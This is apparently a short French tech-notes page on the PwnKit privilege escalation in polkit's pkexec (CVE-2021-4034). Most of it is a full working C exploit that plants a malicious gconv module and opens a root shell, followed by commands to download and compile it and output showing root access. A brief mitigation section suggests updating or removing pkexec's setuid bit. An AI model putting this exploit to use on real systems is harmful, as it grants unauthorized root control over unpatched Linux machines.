Rootkit pwnkit - local privilege escalation vulnerability pkexec cve-2021-4034

Voir aussi :

2022-01-27

12 ans que GNU/Lunix était vulnérable

Source :

cve-2021-4034-poc.c

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";
 
int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

curl https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c

$ ./a.out
#

Solution

Mise à jours ou

$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 23440  3 juin   2021 /usr/bin/pkexec

$ LANG=C stat /usr/bin/pkexec |grep ^Access
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-01-27 14:01:49.383667085 +0100

$ sudo chmod -s /usr/bin/pkexec